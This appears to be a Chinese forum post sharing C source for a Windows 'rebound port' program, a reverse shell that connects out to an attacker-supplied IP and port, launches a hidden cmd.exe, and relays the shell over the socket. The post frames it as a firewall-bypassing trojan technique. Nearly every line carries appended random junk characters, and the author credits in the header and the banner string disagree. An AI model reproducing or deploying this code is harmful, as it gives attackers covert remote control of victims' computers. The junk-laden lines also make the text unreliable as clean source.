这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k.=67L
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/* ============================== -wv5c
Rebound port in Windows NT $Lg%CY
By wind,2006/7 {];4
===============================*/ %. ^8&4$+
#include *%<Ku&C
#include YF/@]6j
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#pragma comment(lib,"wsock32.lib") ZfalB
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void OutputShell(); Cx$C+
SOCKET sClient; 0w^\sf%s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZK,}3b{
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void main(int argc,char **argv) ]yu,YZ@7
{ L$zI_
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WSADATA stWsaData; !#cZ!
int nRet; KQ'fp:5|/@
SOCKADDR_IN stSaiClient,stSaiServer; jCdKau&9
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if(argc != 3) kcT?<r
{ dv3+x\`9
printf("Useage:\n\rRebound DestIP DestPort\n"); [ox!MQ+s
return; r"#h6lYK&
} /?X1>A:*
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WSAStartup(MAKEWORD(2,2),&stWsaData); X&qRanOP;z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w6tb vhcmU
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stSaiClient.sin_family = AF_INET; pl62mp!
stSaiClient.sin_port = htons(0); T{=.mW^ x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tMGkm8y-A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,Nl]rmI
{ T8Sgu6:*R
printf("Bind Socket Failed!\n"); ,])@?TJb@
return; J]uYXsC
} SPKen}g
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stSaiServer.sin_family = AF_INET; ;:xOW$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B@!a@0,,_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )Y':u_Lo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bqY}t. Y&"
{ 0[6llcuj
printf("Connect Error!"); xTQV?g
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return; ,Ie~zZE&
} /Z<" 6g?
OutputShell(); Dz,Fu:)
} .N~qpynY
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void OutputShell() #sit8k`GR8
{ w7\:S>;(O"
char szBuff[1024]; X;_0"g
SECURITY_ATTRIBUTES stSecurityAttributes; c)Ft#vzg&e
OSVERSIONINFO stOsversionInfo; #u+BjuZo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rN#ydw:9
STARTUPINFO stStartupInfo; _DfI78`(
char *szShell; A(AyLxB47*
PROCESS_INFORMATION stProcessInformation; n0:+D
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unsigned long lBytesRead; iqf+rBL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )f#@`lf[<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^EU&6M2
stSecurityAttributes.lpSecurityDescriptor = 0; 'R6D+Vk/
stSecurityAttributes.bInheritHandle = TRUE; I%xrDiK97
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u#=Yv|9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HN>eS Y+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S8j;oJ2d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &rj6<b1A
stStartupInfo.wShowWindow = SW_HIDE; &B3Eq1A
stStartupInfo.hStdInput = hReadPipe; {y0*cC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :K{`0U&l5
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GetVersionEx(&stOsversionInfo); Lc^nNUzPo
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switch(stOsversionInfo.dwPlatformId) IBl}.o&]B#
{ R7T"fN
case 1: %kD WUJZ
szShell = "command.com"; !7J;h{3Uw
break; Z91gAy^z<
default: IDBhhv3ak
szShell = "cmd.exe"; +AyQ4Q(-o
break; xMg&>}5
} Y%qhgzz?/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FsZM_0>/s
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send(sClient,szMsg,77,0); rPK?pJ
while(1) H^"BK-`hs
{ D+rDgrv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [a;lYsOsJ
if(lBytesRead) )Y~q6D K
{ y<PPO6u7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d T/*O8
send(sClient,szBuff,lBytesRead,0); &nn!{S^
} G/(oQA
else fT._Os?i
{ ,IuO;UV#)
lBytesRead=recv(sClient,szBuff,1024,0); &dvJg
if(lBytesRead<=0) break; 7=om /
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} l>"gO9j
} G%ycAm
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return; KtY~Y
}